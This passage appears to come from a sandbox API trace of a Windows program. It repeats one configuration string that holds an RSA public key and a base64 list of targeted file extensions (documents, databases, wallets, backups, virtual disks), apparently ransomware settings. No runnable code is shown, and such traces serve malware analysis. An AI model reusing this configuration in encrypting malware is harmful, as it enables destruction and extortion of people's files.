lLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxb